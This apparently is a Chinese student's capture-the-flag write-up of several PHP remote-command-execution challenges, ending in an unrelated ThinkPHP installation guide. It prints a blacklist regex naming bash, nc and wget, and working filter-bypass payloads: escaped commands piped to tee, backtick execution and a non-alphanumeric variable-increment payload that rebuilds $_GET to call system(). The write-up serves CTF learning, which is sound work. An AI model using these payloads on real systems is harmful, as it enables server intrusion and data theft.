云曦歷年考核
25年春開學考
RCCCE
開啟題目進行代碼審計
GET傳參傳入一個參數cmd,但對參數內容給了黑名單進行過濾
$blacklist = '/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|"|\>|\<|\%|\$/i';
ls、cat等都被過濾了,最后還不區分大小寫
嘗試過兩個命令以后發現是無回顯RCE,所以嘗試用輸出文件的方式
命令
?cmd="ls -l > a";
但是別忘了短線也在黑名單里,所以只能換一個
cmd=ls / | tee a
大意就是用ls命令查詢目錄以后把查詢結果放入創建的文件a里面
然后訪問a文件
誒喲沒查詢到,說明命令沒有執行成功,檢查了一下發現ls被過濾,沒有繞過,加一個反斜杠
cmd=l\s / | tee a
這次就訪問到了
可以看到有一個flag目錄
然后利用cat命令抓取flag
因為cat和flag都被過濾,所以用? c\at? 和?? /fl\ag?? 繞過,然后輸出到b文件中
然后訪問b文件得到flag
ctfshow
RCE挑戰1
代碼審計
POST傳入一個參數code,并把 (? 和? .? 替換掉
思路就是利用echo來傳一個shell命令,用反引號輸出(反引號是和 ~ 鍵一起的英文格式)
執行命令
code=echo `ls /`;
查看到目錄
很明顯的flag目錄,直接cat
code=echo `cat /f1agaaa`;
(cat后面加 / 是cat flag的必要格式)
得到flag
RCE挑戰2
代碼解釋為不會顯示錯誤信息
然后用POST傳入參數 ctf_show??
??
然后給定一個正則表達式 匹配參數中的字符
這里eval()函數我看別人的解釋是把參數中的字符串按照PHP代碼來計算(我只記得Python里是將字符串數字化)也就是說參數里的字符串如果合法就按PHP代碼計算,如果不合法就輸出“Are you hacking me AGAIN”
可以看到正則表達式過濾的字符比較多,大小寫字母a-z,數字0-9,還有引號括號和其他特殊符號等
隔了一晚上回來發現這題是真有點意思
?可以發現,雖然正則表達式過濾了很多字符,但是 ! $ ' () + , . / ; = [] _?? 這些字符沒被過濾,
而這些字符沒被過濾的話第一就應該想到那個變量自增繞過
這個方法之前有記錄過,但不是很詳細
但大概就是利用變量自增構造出? $GET[_] ($_GET[__]);?? (注意,兩個中括號 [ ] 里的下劃線不一樣長)用于實現命令執行
比如我用POST傳參構造出$GET[_]($_GET[_]);這個格式,然后get傳參就可以用_和__替換被過濾的字符
在php中,如果$a="A",那么執行$a++后,$a的值為B
因此可以用這種方法獲取所有的字母。
那如何獲得A呢?
[]默認表示數組名為Array,[]._表示數組名Array,拼接上字符_ 取Array_的第0個位置的元素就是“A”
如
$_=[ ]???
echo $_
$_的取值就是Array,
$_=[ ]._?
echo $_[0];
$_的取值就是A
但是別忘了這題數字0被過濾了,這里查詢到了兩種替換方法:
1、布爾表達式(用兩個沒被過濾的、不同的字符組成布爾表達式作為數組的索引)
例如 '!'=='+'??? 因為兩個字符不同(不相等)所以返回值為0。 但是這個太長了
2、用 '_' 或 _ 作為數組的索引
那我現在的思路就是要構造出$GET[_] ($_GET[__]);?? 用于執行system('ls /');
整體思路如下:
$_=[]._; //$_變量的值為Array_
$_=$_['_']; //將$_賦值為$_[0],此時$_的值為A
$_++;$_++;$_++; //$_的值依次遞增為B、C、D
$__=++$; //++在$前,就是先把$_自增后的值賦值給$__,此時$__的值為E,$_的值也為E。但如果是$_=$++的話,$__的值就是D了,可以理解為++在前是先自增再賦值,++在后就是先賦值才自增,這個和C語言中“i++與++i”的區別是一樣的
$_++; //$_繼續自增為F
$__=++$_.$__; //$_自增為G,與$__的值E拼接后,再賦值給$__,此時$__的值為GE
$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++;$++; //$_的值依次遞增為H、I、J、K、L、M、N、O、P、Q、R、S $_當前的值為S
$_=$__.++$_; //$_自增為T并拼接到GE后面,再賦值給$_,此時$_的值為GET
$_='_'.$_; //在GET的前面拼接一個_,此時$_的值為_GET 這里的'_'也可以是_
$$_[_]($$_[__]); //拼接出了$_GET[_]($_GET[__]),get傳參的參數名分別為_和__ 而這里我想構造的_是system,__是ls / 就會在eval的括號中拼接出system('ls /');
?所以,構造出來的payload就是:
ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);
url拼接替換_和__的執行命令?_=system&__=ls /即可
然后Excute
發現疑似flag目錄f1agaaa
然后換命令ls / 為cat /f1agaaa 即可得到flag
?
NSSCTF
【SWPUCTF 2021 新生賽】easyrce
查看源代碼
可以看到源碼使用了eval()函數接收GET傳參的url參數(上面說過,eval()函數會將字符串作為php代碼執行)
這樣就比較簡單了,只要題目沒有對我們的輸入內容進行嚴格的過濾,直接利用eval()函數執行php惡意代碼就可以達到我們的目的
比如我現在利用phpinfo();語句查看php信息
可以看到PHP配置信息,說明服務器執行了phpinfo()函數(即代碼執行函數)
假如現在我再換一個系統命令執行函數(system()???? 命令:?url=system("ls -l");)
可以看到列出了當前目錄下的文件和文件夾 (即上面所說系統命令執行函數)
那既然解題時是為了flag而來,就應該想想怎么利用這些東西來get flag
這里說一下這兩個函數的區別:
system("ls /");
這個命令表示列出根目錄下的文件和名稱 ;
system("ls -l");
而這個命令表示的是以長格式列出當前工作目錄下的文件和目錄詳細信息
然后我剛剛用的是這個命令:system("ls -l");
回顯這一串
這表示的是當前工作目錄下只有一個文件index.php,還顯示了該文件的詳細信息:total 4 -rw-rw-r-- 1 root root 109 Oct 2 2021 (不用管它啥意思,只用知道它是index.php的詳細信息)
那這樣說的話假如我換命令system("ls /l"); 也就是列出根目錄下的文件和名稱, 回顯肯定是不同的,那就執行一下看看:
可以看到回顯出的根目錄,其的確與回顯當前工作目錄文件名的命令不一樣,這說明PHP腳本的當前工作目錄不是根目錄(/
),而是某個特定的目錄,例如腳本所在的目錄
這樣也就提醒了我以后盡量先用找根目錄的命令(system("ls /");),這樣一層層往里剝
誒其中的flllllaaaaaaggggggg目錄明顯就是提醒flag所在,那就針對這個目錄即可
然后由于比較簡單,一 cat就出flag了(Linux的OS命令cat:顯示文件內容)
[SWPUUCTF 2022 新生賽]ez_rce
打開題目顯示啥也沒有?
查看源代碼也沒有什么
那就用kali掃一下目錄康康
進入root用戶
然后nc連一下,再ls查看一下目錄
但是發現好像并沒有什么有用的
那就嘗試用dirsearch
?額我的kali是新裝的,重新安裝一下dirsearch
apt install dirsearch
安裝結束
然后開始掃
但結果發現連接不上
又試了兩次還是連接不上
最后只好嘗試用nikto(這個是一款開源的 網站掃描 工具,用于發現Web服務器上的安全漏洞和配置錯誤,且是kali自帶的,可以直接使用),而我用這個的目的主要是掃出這個環境的ip
命令
nikto -host +url /**/環境http網址/**/
掃描
可以發現目標ip
然后把剛剛dirsearch的網址換位ip再進行一次掃描
發現這次連接成功了
目錄有很多,沒全截
但是發現有robots.txt,訪問一下
可以看到有一個index.php文件,一猜就知道肯定是代碼甚至是網站源碼文件,直接訪問
再往后沒招了,上網后得到提示,搭建ThinkPHP框架
install for all users
?不勾選
?指定PHP安裝位置
?別忘了勾選add
?然后點擊Next
?繼續Next
?然后Install
?
?Next
剩下就Next finish就可以了
然后Win+R打開cmd,輸入composer看是否安裝成功
可以看到安裝成功
然后安裝TP前切換鏡像
繼續在cmd里執行以下其中一條命令切換鏡像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ /**/阿里云/**/
composer config -g repo.packagist composer https://repo.huaweicloud.com/repository/php/ /**/華為云/**/
我選了第二個安裝
安裝穩定版
我是第一次安裝,所以進入文件夾根目錄下單擊右鍵到終端中打開
?
然后執行以下命令:
composer create-project topthink/think tp6
這里的tp命令可以任意更改,這個目錄就是我們后面會經常提到的應用根目錄
執行
測試運行
?還是在cmd命令行的項目目錄中,輸入運行命令:
先進入
cd tp6
然后執行
php think run
這個過程會彈出是否讓防火墻允許其訪問公共網路,允許即可
在瀏覽器輸入127.0.0.1:8000或http://localhost:8000
OK到這一步就完成了ThinkPHP6.0的安裝
如果80端口沒被占用的情況下,使用如下命令直接訪問http://localhost;
php think run -p 80
這樣ThinkPHP6.0已經幫我們將域名自動部署到public里了